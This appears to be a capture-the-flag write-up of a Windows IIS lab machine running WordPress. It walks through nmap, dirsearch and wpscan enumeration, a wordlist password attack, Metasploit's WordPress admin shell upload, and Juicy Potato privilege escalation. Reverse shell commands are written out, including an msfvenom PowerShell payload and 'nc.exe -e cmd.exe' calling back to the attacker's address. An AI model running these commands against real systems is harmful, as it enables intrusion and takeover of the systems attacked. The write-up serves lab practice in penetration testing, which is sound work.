4 minute read

Here are notes from the named target:

Enumeration

NMAP

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.29 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
 nmap -sC -sV -p$ports 10.10.10.29

vuln scan the SQL service:

 sudo nmap -sU --script=ms-sql-info 10.10.10.29
 PORT     STATE SERVICE VERSION
80/tcp   open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3306/tcp open  mysql   MySQL (unauthorized)

Take a look at the web server:

Shows only the IIS start page so maybe scan it:

nikto -h 10.10.10.29

nikto gave no results

start dirsearch and it finds a site in the wordpress directory

┌──(kali㉿kali)-[~/dirsearch]
└─$ python3 dirsearch.py -e php -u http://10.10.10.29 --exclude-status 403,401

  _|. _ _  _  _  _ _|_    v0.4.1
 (_||| _) (/_(_|| (_| )                                                             
                                                                                    
Extensions: php | HTTP method: GET | Threads: 30 | Wordlist size: 8853

Error Log: /home/kali/dirsearch/logs/errors-21-01-02_04-14-59.log

Target: http://10.10.10.29/                                                         
                                                                                    
Output File: /home/kali/dirsearch/reports/10.10.10.29/_21-01-02_04-15-00.txt

[04:15:00] Starting: 
[04:16:03] 301 -    0B  - /Wordpress/  ->  http://10.10.10.29/wordpress/
[04:18:32] 200 -   24KB - /wordpress/                   
[04:18:32] 200 -    3KB - /wordpress/wp-login.php
                                                             
Task Completed   

Wordpress Site with Login page

Scan with wpscan:

wpscan --url http://10.10.10.29/wordpress --enumerate p
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.10
                               
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://10.10.10.29/wordpress/ [10.10.10.29]
[+] Started: Sat Jan  2 04:26:20 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Microsoft-IIS/10.0
 |  - X-Powered-By: PHP/7.1.29
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://10.10.10.29/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] WordPress readme found: http://10.10.10.29/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://10.10.10.29/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.2.1 identified (Insecure, released on 2019-05-21).
 | Found By: Rss Generator (Passive Detection)
 |  - http://10.10.10.29/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=5.2.1</generator>
 |  - http://10.10.10.29/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.1</generator>

[i] The main theme could not be detected.

[+] Enumerating Most Popular Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] mesmerize-companion
 | Location: http://10.10.10.29/wordpress/wp-content/plugins/mesmerize-companion/
 | Latest Version: 1.6.120
 | Last Updated: 2020-12-14T17:38:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | The version could not be determined.

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register

Password attack with WPScan is possible but time consuming:

┌──(kali㉿kali)-[~]
└─$ wpscan --url http://10.10.10.29/wordpress/ --passwords /usr/share/wordlists/rockyou.txt --usernames admin --max-threads 20   

Searchsploit for WordPress version 5.2.1 found no exploits looking in google - nothing in google:

I signed up for the free wpscan API and added that to my host. then reran wpscan

Basically it showed 25 vulnerabilities but as we have admin access without launching going to use msf6

METASPLOIT

remember use and set commands also run and exploit

as I am on a VPN set LHOST otherwise it uses non vpn address

Google search for metasploit wordpress reverse shell

msf6 auxiliary > use exploit/unix/webapp/wp_admin_shell_upload 
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME admin
USERNAME => admin
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD P@s5w0rd!
PASSWORD => P@s5w0rd!
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /wordpress
targeturi => /wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 10.10.10.29
RHOSTS => 10.10.10.29
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set LHOST 10.10.14.87
LHOST => 10.10.14.87
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit

[*] Started reverse TCP handler on 10.10.14.87:4444 
[*] Authenticating with WordPress using admin:P@s5w0rd!...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wordpress/wp-content/plugins/hWGKLAJXgv/rRORqnxhOH.php...
[*] Sending stage (39282 bytes) to 10.10.10.29
[*] Meterpreter session 1 opened (10.10.14.87:4444 -> 10.10.10.29:51869) at 2021-01-04 16:16:53 -0500
[+] Deleted rRORqnxhOH.php
[+] Deleted hWGKLAJXgv.php
[!] This exploit may require manual cleanup of '../hWGKLAJXgv' on the target

meterpreter > 

YEA

Found a good video on how to do this and read about the exploit [Juicy Potato][jp-link]

Basic steps were to upload ne.exe to target and fire it off bat to kali box

set up SMB server locally to how files

use copy on windows box to pull over files

use msfvenom to make a batch file wit PS shell back kali box

copy all files over and open new nc listener for batch file to connect with

on win box run jp.exe call the batch file and use random port for the jp.exe to use to make internal connection

Windows BAT Shell
msfvenom -p cmd/windows/reverse_powershell lhost=10.10.14.87 lport=6768 > smog.bat

Windows Juicy Potato
jp.exe -t * -p smog.bat -l 4444  (can be any port not used)

Windows NC commands to connect to listening NC from msf6 meterpreter
──(kali㉿kali)-[~]
└─$ nc -nlvp 4321                                                                         
listening on [any] 4321 ...

meterpreter > upload /home/kali/temp/nc.exe
meterpreter > execute -f nc.exe -a "-e cmd.exe 10.10.14.87 4321"

that connection was as system and was able to grab root.txt hash